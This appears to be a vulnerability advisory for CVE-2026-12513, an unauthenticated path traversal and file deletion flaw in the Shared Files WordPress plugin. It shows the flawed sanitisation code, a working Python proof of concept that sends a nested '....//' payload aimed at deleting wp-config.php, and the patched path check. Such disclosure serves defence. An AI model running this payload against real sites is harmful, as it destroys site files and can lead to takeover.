// Insecure single-pass sanitization filter in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );

// Vulnerable deletion logic
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Triggers deletion of target file (e.g. /var/www/html/wp-config.php)
}

#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Auditing Target: {target_url}")
    
    # Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Submission Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Traversal path successfully injected into database storage.")
            print("[!] When the entry is deleted by admin, the target file will be unlinked.")
            return True
        else:
            print(f"[-] Request failed with HTTP status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

// Secure Path Validation Pattern (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Ensure the resolved realpath strictly starts with the designated base directory
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}